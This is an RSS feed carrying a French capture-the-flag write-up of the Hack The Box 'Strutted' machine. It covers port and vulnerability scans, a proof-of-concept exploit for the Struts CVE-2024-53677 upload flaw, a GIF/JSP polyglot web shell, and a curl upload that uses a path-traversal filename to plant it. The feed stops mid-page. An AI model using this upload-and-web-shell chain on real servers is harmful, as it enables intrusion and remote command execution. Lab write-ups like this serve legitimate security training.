
<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[fr3nch4_Writeups]]></title><description><![CDATA[This is my bank of write-ups.
Bye.]]></description><link>https://fr3nch4writeups.hashnode.dev</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1761932211768/b414b56f-c143-4687-97bd-6e0445a38037.jpeg</url><title>fr3nch4_Writeups</title><link>https://fr3nch4writeups.hashnode.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Wed, 16 Sep 2026 06:05:25 GMT</lastBuildDate><atom:link href="https://fr3nch4writeups.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Strutted HTB]]></title><description><![CDATA[Ce challenge Hack The Box fourni des identifiants:
                                            admin        
                                        IT14d6SSP81k

Recon
Scan open ports
┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ ...]]></description><link>https://fr3nch4writeups.hashnode.dev/strutted-htb</link><guid isPermaLink="true">https://fr3nch4writeups.hashnode.dev/strutted-htb</guid><category><![CDATA[HTB Writeup]]></category><category><![CDATA[HTB Machines]]></category><category><![CDATA[Tomcat]]></category><dc:creator><![CDATA[Yoann]]></dc:creator><pubDate>Sun, 02 Nov 2025 19:49:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762111455914/ed1fd629-7e55-4d39-af1c-8d7ea777fb10.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Ce challenge Hack The Box fourni des identifiants:</p>
<pre><code class="lang-bash">                                            admin        
                                        IT14d6SSP81k
</code></pre>
<h1 id="heading-recon">Recon</h1>
<h2 id="heading-scan-open-ports">Scan open ports</h2>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ <span class="hljs-built_in">echo</span> <span class="hljs-string">"10.10.11.59 strutted.htb"</span> | sudo tee -a /etc/hosts
[sudo] password <span class="hljs-keyword">for</span> kali:
10.10.11.59 strutted.htb

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ nmap -sC -sV -O 10.10.11.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-09 18:16 EDT
Nmap scan report <span class="hljs-keyword">for</span> strutted.htb (10.10.11.59)
Host is up (0.092s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Strutted\xE2\x84\xA2 - Instant Image Uploads
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device <span class="hljs-built_in">type</span>: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap <span class="hljs-keyword">done</span>: 1 IP address (1 host up) scanned <span class="hljs-keyword">in</span> 13.19 seconds
</code></pre>
<h2 id="heading-vulnerability-scan">Vulnerability Scan</h2>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/Documents/htb/Strutted/]
└─$ nuclei -target http://strutted.htb

[cookies-without-secure] [javascript] [info] strutted.htb [<span class="hljs-string">"JSESSIONID"</span>]
[missing-sri] [http] [info] http://strutted.htb/upload [<span class="hljs-string">"https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"</span>,<span class="hljs-string">"https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"</span>]
[waf-detect:nginxgeneric] [http] [info] http://strutted.htb/upload
[openssh-detect] [tcp] [info] strutted.htb:22 [<span class="hljs-string">"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10"</span>]
[CVE-2020-6171] [http] [medium] http://strutted.htb/upload?lang=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&amp;p=1
[tomcat-stacktraces] [http] [info] http://strutted.htb/upload/?f=\[
[tomcat-detect:version] [http] [info] http://strutted.htb/upload/319qKRgidjirk4ySK90Zb7mksBJ [<span class="hljs-string">"9.0.58"</span>]
[form-detection] [http] [info] http://strutted.htb/upload
[options-method] [http] [info] http://strutted.htb/upload [<span class="hljs-string">"GET, HEAD, POST, OPTIONS"</span>]
[CVE-2012-0394] [http] [medium] http://strutted.htb/upload/portal/displayAPSForm.action?debug=<span class="hljs-built_in">command</span>&amp;expression=8786*5675
[old-copyright] [http] [info] http://strutted.htb/upload [<span class="hljs-string">"\u00a9 2024"</span>]
[http-missing-security-headers:x-frame-options] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:x-content-type-options] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:referrer-policy] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:clear-site-data] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:strict-transport-security] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:content-security-policy] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:permissions-policy] [http] [info] http://strutted.htb/upload
[tech-detect:jsdelivr] [http] [info] http://strutted.htb/upload
[tech-detect:bootstrap] [http] [info] http://strutted.htb/upload
[tech-detect:nginx] [http] [info] http://strutted.htb/upload
[exposed-file-upload-form] [http] [info] http://strutted.htb/upload
[nginx-version] [http] [info] http://strutted.htb/upload [<span class="hljs-string">"nginx/1.18.0"</span>]
[caa-fingerprint] [dns] [info] strutted.htb
[INF] Scan completed <span class="hljs-keyword">in</span> 1m. 26 matches found.
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ curl -I http://strutted.htb/  <span class="hljs-comment"># Ou http://10.10.11.59/</span>
HTTP/1.1 200
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 09 Oct 2025 22:17:01 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,Sec-Fetch-User
Cross-Origin-Embedder-Policy-Report-Only: require-corp
Cross-Origin-Opener-Policy: same-origin
Set-Cookie: JSESSIONID=B13E03C675CAAE2EC92E42EC44115EB3; Path=/; HttpOnly
Content-Language: en-US
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ go run . -url http://strutted.htb/ -end-point upload.action
2025/10/09 18:17:21 Using default testing file...
2025/10/09 18:17:21 Using default <span class="hljs-built_in">command</span>..
2025/10/09 18:17:21 using default payload...
2025/10/09 18:17:21 Using default parameter name <span class="hljs-keyword">for</span> payload [Upload]
2025/10/09 18:17:21 Using default prameter name
2025/10/09 18:17:21 usinf default testing filename default: testfile.txt
2025/10/09 18:17:21 usinf default payload filename default: payload.jsp
2025/10/09 18:17:21 Using testing <span class="hljs-keyword">function</span> <span class="hljs-keyword">for</span> file location maybe produce wrong paths
2025/10/09 18:17:22  file with initalise of  ../testfile.txt  not found
2025/10/09 18:17:22  file with initalise of  ../../testfile.txt  not found
2025/10/09 18:17:23  file with initalise of  ../../../testfile.txt  not found
2025/10/09 18:17:23  file with initalise of  ../../../../testfile.txt  not found
2025/10/09 18:17:23  file with initalise of  ../../../../../testfile.txt  not found
uploaded location gives status code of 200
2025/10/09 18:17:24 testing the payload...
2025/10/09 18:17:24 The payload to <span class="hljs-built_in">test</span>: http://strutted.htb/payload.jsp
response body is &lt;!doctype html&gt;&lt;html lang=<span class="hljs-string">"en"</span>&gt;&lt;head&gt;&lt;title&gt;HTTP Status 404 – Not Found&lt;/title&gt;&lt;style <span class="hljs-built_in">type</span>=<span class="hljs-string">"text/css"</span>&gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:<span class="hljs-comment">#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;HTTP Status 404 – Not Found&lt;/h1&gt;&lt;hr class="line" /&gt;&lt;p&gt;&lt;b&gt;Type&lt;/b&gt; Status Report&lt;/p&gt;&lt;p&gt;&lt;b&gt;Message&lt;/b&gt; JSP file [&amp;#47;payload.jsp] not found&lt;/p&gt;&lt;p&gt;&lt;b&gt;Description&lt;/b&gt; The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.&lt;/p&gt;&lt;hr class="line" /&gt;&lt;h3&gt;Apache Tomcat/9.0.58 (Ubuntu)</span>
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ go run . -url http://strutted.htb/ -end-point upload.action -<span class="hljs-built_in">command</span> <span class="hljs-string">"whoami"</span> -payload-file ./webshell.jsp
2025/10/09 18:19:40 Using default testing file...
2025/10/09 18:19:40 Using default parameter name <span class="hljs-keyword">for</span> payload [Upload]
2025/10/09 18:19:40 Using default prameter name
2025/10/09 18:19:40 usinf default testing filename default: testfile.txt
2025/10/09 18:19:40 usinf default payload filename default: payload.jsp
2025/10/09 18:19:40 Using testing <span class="hljs-keyword">function</span> <span class="hljs-keyword">for</span> file location maybe produce wrong paths
Correct path found:  ../
uploaded location gives status code of 200
2025/10/09 18:19:41 testing the payload...
2025/10/09 18:19:41 The payload to <span class="hljs-built_in">test</span>: http://strutted.htb/payload.jsp
response body is &lt;!doctype html&gt;&lt;html lang=<span class="hljs-string">"en"</span>&gt;&lt;head&gt;&lt;title&gt;HTTP Status 404 – Not Found&lt;/title&gt;&lt;style <span class="hljs-built_in">type</span>=<span class="hljs-string">"text/css"</span>&gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:<span class="hljs-comment">#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;HTTP Status 404 – Not Found&lt;/h1&gt;&lt;hr class="line" /&gt;&lt;p&gt;&lt;b&gt;Type&lt;/b&gt; Status Report&lt;/p&gt;&lt;p&gt;&lt;b&gt;Message&lt;/b&gt; JSP file [&amp;#47;payload.jsp] not found&lt;/p&gt;&lt;p&gt;&lt;b&gt;Description&lt;/b&gt; The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.&lt;/p&gt;&lt;hr class="line" /&gt;&lt;h3&gt;Apache Tomcat/9.0.58 (Ubuntu)&lt;/h3&gt;&lt;/body&gt;&lt;/html&gt;</span>
</code></pre>
<p>Crèation d’un script Python pour tenter d’exploiter la faille présente sur Struts “CVE-2024-53677”.</p>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ python3 create_polyglot.py
Fichier <span class="hljs-string">'webshell.gif'</span> créé ! Taille: 338 bytes.
Vérif GIF: Commence par GIF89a; OK.
Vérif JSP: Code embeddé OK.
Test: file webshell.gif (doit dire data).
Test: xxd webshell.gif | head -5 (doit montrer GIF89a; + JSP).
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ file webshell.gif
webshell.gif: GIF image data, version 89a, 15419 x 16421
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ xxd webshell.gif | head -5  <span class="hljs-comment"># GIF89a; en hex, puis &lt;%@ page...</span>
00000000: 4749 4638 3961 3b3c 2540 2070 6167 6520  GIF89a;&lt;%@ page
00000010: 696d 706f 7274 3d22 6a61 7661 2e69 6f2e  import=<span class="hljs-string">"java.io.
00000020: 2a22 2025 3e3c 2520 5374 7269 6e67 2063  *"</span> %&gt;&lt;% String c
00000030: 6d64 203d 2072 6571 7565 7374 2e67 6574  md = request.get
00000040: 5061 7261 6d65 7465 7228 2263 6d64 2229  Parameter(<span class="hljs-string">"cmd"</span>)
</code></pre>
<pre><code class="lang-xml">┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ curl -X POST http://strutted.htb/upload.action \
  -F "Upload=@webshell.gif;type=image/gif" \
  -F "top.UploadFileName=../../shell.jsp"


<span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Strutted™ - Upload Successful!<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>/&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span>/&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"stylesheet"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css">
        <span class="hljs-selector-tag">html</span>, <span class="hljs-selector-tag">body</span> {
            <span class="hljs-attribute">height</span>: <span class="hljs-number">100%</span>;
            <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span>;
            <span class="hljs-attribute">font-family</span>: <span class="hljs-string">"Helvetica Neue"</span>, Helvetica, Arial, sans-serif;
            <span class="hljs-attribute">background</span>: <span class="hljs-number">#f5f5f5</span>;
            <span class="hljs-attribute">color</span>: <span class="hljs-number">#333</span>;
        }
        <span class="hljs-selector-class">.page-wrapper</span> {
            <span class="hljs-attribute">display</span>: flex;
            <span class="hljs-attribute">flex-direction</span>: column;
            <span class="hljs-attribute">min-height</span>: <span class="hljs-number">100vh</span>;
        }
        <span class="hljs-selector-class">.header</span> {
            <span class="hljs-attribute">background</span>: <span class="hljs-built_in">linear-gradient</span>(to right, #<span class="hljs-number">2</span>c3e50, #<span class="hljs-number">4</span>c5a6b);
            <span class="hljs-attribute">padding</span>: <span class="hljs-number">20px</span>;
        }
        <span class="hljs-selector-class">.header</span> <span class="hljs-selector-class">.navbar-brand</span> {
            <span class="hljs-attribute">font-weight</span>: <span class="hljs-number">600</span>;
            <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1.5rem</span>;
        }

        <span class="hljs-selector-class">.hero-section</span> {
            <span class="hljs-attribute">background</span>: <span class="hljs-number">#2c3e50</span>;
            <span class="hljs-attribute">color</span>: <span class="hljs-number">#fff</span>;
            <span class="hljs-attribute">padding</span>: <span class="hljs-number">60px</span> <span class="hljs-number">0</span>;
            <span class="hljs-attribute">text-align</span>: center;
        }
        <span class="hljs-selector-class">.hero-section</span> <span class="hljs-selector-tag">h1</span> {
            <span class="hljs-attribute">font-size</span>: <span class="hljs-number">2.5rem</span>;
            <span class="hljs-attribute">font-weight</span>: <span class="hljs-number">300</span>;
            <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">20px</span>;
        }
        <span class="hljs-selector-class">.hero-section</span> <span class="hljs-selector-tag">p</span> {
            <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1.2rem</span>;
            <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span> auto;
            <span class="hljs-attribute">max-width</span>: <span class="hljs-number">700px</span>;
        }

        <span class="hljs-selector-class">.content-wrapper</span> {
            <span class="hljs-attribute">flex</span>: <span class="hljs-number">1</span> <span class="hljs-number">0</span> auto;
        }

        <span class="hljs-selector-class">.success-container</span> {
            <span class="hljs-attribute">max-width</span>: <span class="hljs-number">700px</span>;
            <span class="hljs-attribute">margin</span>: -<span class="hljs-number">30px</span> auto <span class="hljs-number">40px</span> auto;
            <span class="hljs-attribute">background</span>: <span class="hljs-number">#fff</span>;
            <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">8px</span>;
            <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0</span> <span class="hljs-number">6px</span> <span class="hljs-number">20px</span> <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0.1</span>);
            <span class="hljs-attribute">padding</span>: <span class="hljs-number">30px</span>;
        }
        <span class="hljs-selector-class">.success-container</span> <span class="hljs-selector-tag">h2</span> {
            <span class="hljs-attribute">text-align</span>: center;
            <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">30px</span>;
            <span class="hljs-attribute">font-weight</span>: <span class="hljs-number">600</span>;
        }
        <span class="hljs-selector-class">.messages</span> {
            <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">30px</span>;
            <span class="hljs-attribute">text-align</span>: center;
            <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1.1rem</span>;
        }
        <span class="hljs-selector-class">.messages</span> <span class="hljs-selector-tag">img</span> {
            <span class="hljs-attribute">max-width</span>: <span class="hljs-number">100%</span>;
            <span class="hljs-attribute">margin-top</span>: <span class="hljs-number">20px</span>;
            <span class="hljs-attribute">border</span>: <span class="hljs-number">1px</span> solid <span class="hljs-number">#ddd</span>;
            <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">8px</span>;
        }
        <span class="hljs-selector-class">.back-link</span> {
            <span class="hljs-attribute">display</span>: block;
            <span class="hljs-attribute">text-align</span>: center;
            <span class="hljs-attribute">margin-top</span>: <span class="hljs-number">30px</span>;
        }

        <span class="hljs-selector-tag">footer</span> {
            <span class="hljs-attribute">background</span>: <span class="hljs-number">#343a40</span>;
            <span class="hljs-attribute">color</span>: <span class="hljs-number">#fff</span>;
            <span class="hljs-attribute">text-align</span>: center;
            <span class="hljs-attribute">padding</span>: <span class="hljs-number">20px</span> <span class="hljs-number">0</span>;
            <span class="hljs-attribute">flex-shrink</span>: <span class="hljs-number">0</span>;
        }
        <span class="hljs-selector-tag">footer</span> <span class="hljs-selector-tag">a</span> {
            <span class="hljs-attribute">color</span>: <span class="hljs-number">#adb5bd</span>;
            <span class="hljs-attribute">text-decoration</span>: none;
        }
        <span class="hljs-selector-tag">footer</span> <span class="hljs-selector-tag">a</span><span class="hljs-selector-pseudo">:hover</span> {
            <span class="hljs-attribute">color</span>: <span class="hljs-number">#fff</span>;
        }
    </span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"page-wrapper"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">header</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"header"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">nav</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"navbar navbar-expand-lg navbar-dark"</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"background: transparent;"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"navbar-brand"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"/"</span>&gt;</span>Strutted™<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"navbar-toggler"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"button"</span> <span class="hljs-attr">data-bs-toggle</span>=<span class="hljs-string">"collapse"</span> <span class="hljs-attr">data-bs-target</span>=<span class="hljs-string">"#navbarContent"</span>
                    <span class="hljs-attr">aria-controls</span>=<span class="hljs-string">"navbarContent"</span> <span class="hljs-attr">aria-expanded</span>=<span class="hljs-string">"false"</span> <span class="hljs-attr">aria-label</span>=<span class="hljs-string">"Toggle navigation"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"navbar-toggler-icon"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>

            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"collapse navbar-collapse"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"navbarContent"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">ul</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"navbar-nav ms-auto"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"nav-item"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"nav-link active"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"/"</span>&gt;</span>Home<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"nav-item"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"nav-link"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"/how"</span>&gt;</span>How It Works<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"nav-item"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"nav-link"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"/about"</span>&gt;</span>About Us<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"nav-item"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"nav-link"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"/download.action"</span>&gt;</span>Download<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">nav</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">header</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"content-wrapper"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"hero-section"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"container"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Image Upload Successful!<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Congratulations! Your image has been securely uploaded and is now accessible via a shareable link.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"success-container"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"messages"</span>&gt;</span>

                    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"mb-3 mt-1 back-link"</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"form-control"</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"display:none;"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"shareableLink"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"http://strutted.htb/s/96c65be4"</span> <span class="hljs-attr">readonly</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"btn btn-outline-secondary"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"button"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"copyButton"</span>&gt;</span>Copy Shareable Link<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"uploads/20251009_230342/../../shell.jsp"</span> <span class="hljs-attr">alt</span>=<span class="hljs-string">"Uploaded File"</span>/&gt;</span>


            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"back-link"</span>&gt;</span>

                <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"/upload.action;jsessionid=1EC9B0D49756BA565C6A246B16C9957B"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"btn btn-outline-secondary"</span>&gt;</span>Upload Another File<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">footer</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"container"</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"margin-top: 9px;"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>© 2024 Strutted™ – All rights reserved.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">footer</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">"DOMContentLoaded"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">const</span> copyButton = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'copyButton'</span>);
        <span class="hljs-keyword">const</span> shareableLink = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'shareableLink'</span>);

        copyButton.addEventListener(<span class="hljs-string">'click'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
            <span class="hljs-comment">// Select the text field</span>
            shareableLink.select();
